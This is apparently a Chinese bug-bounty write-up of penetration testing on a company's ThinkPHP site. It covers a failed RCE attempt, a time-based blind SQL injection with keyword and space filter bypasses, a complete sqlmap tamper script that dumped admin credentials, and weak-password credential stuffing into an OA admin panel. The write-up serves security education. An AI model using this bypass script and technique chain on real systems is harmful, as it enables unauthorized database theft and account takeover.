视频教程和更多福利在我主页简介或专栏里
(不懂都可以来问我 专栏找我哦)
目录:
前言
波折一:RCE漏洞利用失败
波折二:SQL时间盲注
波折三:寻找管理后台
总结
前言
先谈个人SRC心得体会吧,我虽然很早前就体验过挖掘SRC来锻炼自己,但真正坚持下来大概是从去年3月初开始。一开始主要是逛公益SRC平台和教育SRC,动作有点慢,经常遇到报告提交前人吃肉后人喝汤的局面,而且赚不到米,慢慢进入补天SRC开始挖掘小企业和众测。因为之前算是做过几个渗透测试的项目,所以自始至终我都把关注重点放在”交互”上,而且,关键也在于”信息收集”上,只要足够细心和耐心慢慢就有了产出。
本文下面记录一次不断碰到难题不断解决难题的的众测SRC实战,为期三四天,文章不算长,请耐心看完。开局发现是一个搞外贸的企业的信息发布网站。
波折一:RCE漏洞利用失败
通过信息搜集发现网站框架为thinkphp。作为曾经的程序员,我知道ThinkPHP是一个广泛使用的PHP开发框架,但历史上存在多个安全漏洞,尤其是远程代码执行(RCE)漏洞非常好利用。
于是第一反应就是祭出神器Liqun工具箱-1.5进行漏洞扫描与利用,奇怪的是,虽然利用exp工具能够扫描出来确实存在rce漏洞,但是无法成功利用执行命令whoami,多次尝试反弹shell到我的vps也是没有成功。
分析问题出现原因:
-
可能是工具误报,目标系统并未真正存在该漏洞。
-
可能是目标系统部署了WAF(Web应用防火墙),拦截了攻击请求。
时间宝贵啊于是只能放弃这里的进攻点,去寻找新的突破口。
波折二:SQL时间盲注
这里必须要安利一个好用的burpsuite插件,xia_sql,能够被动检测SQL注入漏洞。通过前端不断点击与后台交互的功能点,找到一处存在注入点,但坑的是没有数据回显,只能使用时间盲注。
更坑的是后台居然过滤了OR 和 AND 关键字,还有空格字符,or可以用||
替代,而and可以用&&
替代,对于空格字符常见的绕过思路是:
-
space2plus
:-
将空格替换为
+
。 -
示例:
UNION SELECT
->UNION+SELECT
。
-
-
space2hash
:-
将空格替换为
%23
(即#
,URL编码)。 -
示例:
UNION SELECT
->UNION%23SELECT
。
-
-
space2blank
:-
将空格替换为其他空白字符(如
%09
、%0A
等)。 -
示例:
UNION SELECT
->UNION%09SELECT
。
-
-
space2randomblank
:-
将空格替换为随机的空白字符(如
%09
、%0A
、%0C
等)。 -
示例:
UNION SELECT
->UNION%0ASELECT
。
-
如下图,因为网站有关键字符过滤,所以sqlmap跑不出任何信息
补充一个知识点:Tamper脚本是SQLMap中用于修改请求数据的脚本,能够对注入语句进行编码、混淆或其他处理,以绕过WAF或其他过滤机制。
最终编写了一个sqlmap的tamper脚本space2randomblank_and_keywords
,成功绕过,获取到数据库信息,尤其是管理员账号密码
-
#!/usr/bin/env python
-
"""
-
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
-
See the file 'LICENSE' for copying permission
-
"""
-
import random
-
from lib.core.enums import PRIORITY
-
__priority__ = PRIORITY.NORMAL
-
def dependencies():
-
pass
-
def tamper(payload, **kwargs):
-
"""
-
将空格替换为随机的空白字符(如 %09, %0A, %0C 等)
-
例如:UNION SELECT -> UNION%0ASELECT 或 UNION%09SELECT
-
"""
-
if payload:
-
# 定义可用的空白字符
-
blank_chars = ["%09", "%0A", "%0C", "%0D"]
-
# 替换空格为随机的空白字符
-
payload = payload.replace(" ", random.choice(blank_chars))
-
# 替换 OR 和 AND 关键字
-
payload = payload.replace("OR", "||") # 替换 OR 为 ||
-
payload = payload.replace("AND", "&&") # 替换 AND 为 &&
-
return payload
利用tamper脚本跑出banner
利用tamper脚本跑出数据库中所有表名,重要的是admin表和user表
最终成功利用sqlmap跑出管理员账户密码为XXXX/XXXX888(因为数据敏感所以这里不放图了)
波折三:寻找管理后台
经常打SRC的大佬都知道接下来要扩大战果就是进管理后台了,但是我死活找不到该thinkphp网站的管理后台:
先是通过常规路径尝试,因为一般thinkphp框架的后台路径默认是/admin/但是这里报错显示无法加载模块admin
接着通过路径扫描工具,如dirsearch/御剑等路径扫描工具fuzz后台路径,还是无果
用了五六款工具和一个小时了,还是搞不进去,有点“难受香菇”啊。
只要努力奇迹还是可能出现的哈哈,最终通过C段扫描找到该公司下属的其他业务系统(即OA办公系统)管理后台。
利用之前获取的管理员账号密码是企业名称简写/企业名称简写+888
,进一步生成若干组合弱口令攻击和撞库,成功进入OA办公系统后台。在获取管理后台权限后,可以进一步探索系统内部,寻找更多敏感信息或漏洞。
打完~~~~收工,最后提一句厂家给了中危300大洋,谢谢厂家审核大大哈哈!
总结
目标系统存在SQL注入漏洞,而且是比较难利用的时间盲注,过滤了or/and/空格等关键字符。在实际渗透测试中,Tamper脚本是非常有用的工具,能够显著提高SQL注入攻击的成功率。后台路径隐藏较深,增加了攻击难度。通过C段扫描和组合口令攻击,成功进入管理后台,暴露了系统的防御问题。
我觉得,渗透测试中要心平静气,仔细观察每一个服务器/客户端交互的数据包,一条道走不通灵活地换一条道,山穷水复疑无路,柳暗花明又一村。为了提高渗透效率,还要不断地提高工具编写能力,平时多学习网站前后台交互的底层原理。